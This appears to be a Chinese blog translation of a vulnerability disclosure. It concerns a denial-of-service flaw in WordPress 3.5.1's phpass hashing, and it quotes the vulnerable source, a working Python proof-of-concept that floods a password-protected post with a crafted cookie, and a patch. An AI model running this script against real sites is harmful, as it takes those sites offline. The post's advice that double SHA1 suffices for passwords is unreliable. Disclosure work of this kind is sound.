首页 > Web安全 > WordPress v3.5.1拒绝服务漏洞

WordPress v3.5.1拒绝服务漏洞

2013年6月18日 发表评论 阅读评论 18,004次浏览    

原文:http://vndh.net/note:wordpress-351-denial-service

翻译:裴伟伟(做个好人)

因为近几个月来始终没有对博客做任何更新,所以这里先发布一个我最近发现的WordPress(版本 3.5.1)众多bugs中的一个,这是由WordPress自带加密系统导致的拒绝服务漏洞。WordPress安全团队已经收到了该漏洞的通知,由于此后的一个星期我始终未得到他们的任何答复,所以在这里将我的研究公开。

这个bug有一点点隐蔽,请看下面的源码:

/wp-includes/class-phpass.php

/* 111 */ function crypt_private($password, $setting)
/* 112 */ {
/* 113 */     $output = '*0';
/* 114 */     if (substr($setting, 0, 2) == $output)
/* 115 */         $output = '*1';
/* 116 */
/* 117 */     $id = substr($setting, 0, 3);
/* 118 */     # We use "$P$", phpBB3 uses "$H$" for the same thing
/* 119 */     if ($id != '$P$' && $id != '$H$')
/* 120 */         return $output;
/* 121 */
/* 122 */     $count_log2 = strpos($this->itoa64, $setting[3]);
/* 123 */     if ($count_log2 < 7 || $count_log2 > 30)
/* 124 */         return $output;
/* 125 */
/* 126 */     $count = 1 << $count_log2;
/* 127 */
/* 128 */     $salt = substr($setting, 4, 8);
/* 129 */     if (strlen($salt) != 8)
/* 130 */         return $output;
/* 131 */
/* 132 */     # We're kind of forced to use MD5 here since it's the only
/* 133 */     # cryptographic primitive available in all versions of PHP
/* 134 */     # currently in use. To implement our own low-level crypto
/* 135 */     # in PHP would result in much worse performance and
/* 136 */     # consequently in lower iteration counts and hashes that are
/* 137 */     # quicker to crack (by non-PHP code).
/* 138 */     if (PHP_VERSION >= '5') {
/* 139 */         $hash = md5($salt . $password, TRUE);
/* 140 */         do {
/* 141 */             $hash = md5($hash . $password, TRUE);
/* 142 */         } while (--$count);
/* 143 */     } else {
/* 144 */         $hash = pack('H*', md5($salt . $password));
/* 145 */         do {
/* 146 */             $hash = pack('H*', md5($hash . $password));
/* 147 */         } while (--$count);
/* 148 */     }
/* 149 */
/* 140 */     $output = substr($setting, 0, 12);
/* 141 */     $output .= $this->encode64($hash, 16);
/* 142 */
/* 143 */     return $output;
/* 144 */ }

$setting变量可以被访问用户完全“控制”,如以下源码所示:

/wp-includes/post-template.php

/* 569 */ function post_password_required( $post = null ) {
/* 570 */     global $wp_hasher;
/* 571 */
/* 572 */     $post = get_post($post);
/* 573 */
/* 574 */     if ( empty( $post->post_password ) )
/* 575 */         return false;
/* 576 */
/* 577 */     if ( ! isset( $_COOKIE['wp-postpass_' . COOKIEHASH] ) )
/* 578 */         return true;
/* 579 */
/* 580 */     if ( empty( $wp_hasher ) ) {
/* 581 */         require_once( ABSPATH . 'wp-includes/class-phpass.php');
/* 582 */         // By default, use the portable hash from phpass
/* 583 */         $wp_hasher = new PasswordHash(8, true);
/* 584 */     }
/* 585 */
/* 586 */     $hash = stripslashes( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );
/* 587 */
/* 588 */     return ! $wp_hasher->CheckPassword( $post->post_password, $hash );
/* 589 */ }

/wp-includes/class-phpass.php

/* 250 */ function CheckPassword($password, $stored_hash)
/* 251 */ {
/* 252 */     $hash = $this->crypt_private($password, $stored_hash);
/* 253 */     if ($hash[0] == '*')
/* 254 */     $hash = crypt($password, $stored_hash);
/* 255 */
/* 256 */     return $hash == $stored_hash;
/* 257 */ }

以“$P$Spaddding”值发送$_COOKIE[‘wp-postpass_’ . COOKIEHASH]会导致$setting[3](在class-phpass.php文件中)被赋予值“S”,$count_log2因此会被设为30,其结果是$count的值超过109,而$count在调用md5函数的循环中作为迭代次数使用。

这个漏洞仅有在WordPress博客中至少存在一篇加密文章时方有可能被利用。

漏洞证明如下:

wordpress.py

# Proof of Concept
# WordPress 3.5.1
# Denial of Service
# Author: vnd at vndh.net
import httplib
import re

def get_cookie_hash(hostname, wplogin):
headers = {'Content-type': 'application/x-www-form-urlencoded'}
handler = httplib.HTTPConnection(hostname)
handler.request('POST', wplogin, 'action=postpass&post_password=none', headers=headers)
response = handler.getresponse()
set_cookie = response.getheader('set-cookie')
if set_cookie is None: raise RuntimeError('cannot fetch set-cookie header')

pattern = re.compile('wp-postpass_([0-9a-f]{32})')
result = pattern.search(set_cookie)
if result is None: raise RuntimeError('cannot fetch cookie hash')

return result.groups()[0]

def send_request(hostname, post, cookie_name):
headers = {'Cookie': 'wp-postpass_%s=%%24P%%24Spaddding' % cookie_name}
handler = httplib.HTTPConnection(hostname)
handler.request('GET', post, 'action=postpass&post_password=asdf', headers=headers)

if __name__ == '__main__':
hostname = 'wordpress.remote'
wplogin = '/wp-login.php'
posturl = '/?p=4' # link to password protected post
requests = 1000

cookie_hash = get_cookie_hash(hostname, wplogin)
print '[+] received cookie hash: %s' % cookie_hash
for i in xrange(requests):
print '[+] sending request %d...' % (i + 1)
send_request(hostname, posturl, cookie_hash)

在以上代码执行后,示例WordPress应用会响应:

Error establishing a database connection

对于该漏洞可能的解决方案是按照如下方式做文件修改:

— wp-includes/class-phpass.php

+++ wp-includes/class-phpass.php

@@ -120,7 +120,7 @@

             return $output;

            $count_log2 = strpos($this->itoa64, $setting[3]);

–          if ($count_log2 < 7 || $count_log2 > 30)

+        if ($count_log2 < 7 || $count_log2 > 13)

                return $output;

          $count = 1 << $count_log2;

该解决方案简单来说就是:WordPress默认在cookie中使用“B”,所以以上代码中的幂值设为13,没有必要设置更大。

不知这篇文章对你可否有收获?不要拿自己的系统来玩……在大多数应用中使用SHA256加密、双重SHA1加密或好的密码策略即可满足你的需要。关于此类漏洞还可参考OWASP Password Storage Cheat Sheet

顺便提一句,以后会有更多关于WordPress的干货!;)

(全文完)

版权声明:自由转载-非商用-非衍生-保持署名 | Creative Commons BY-NC-ND 3.0
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.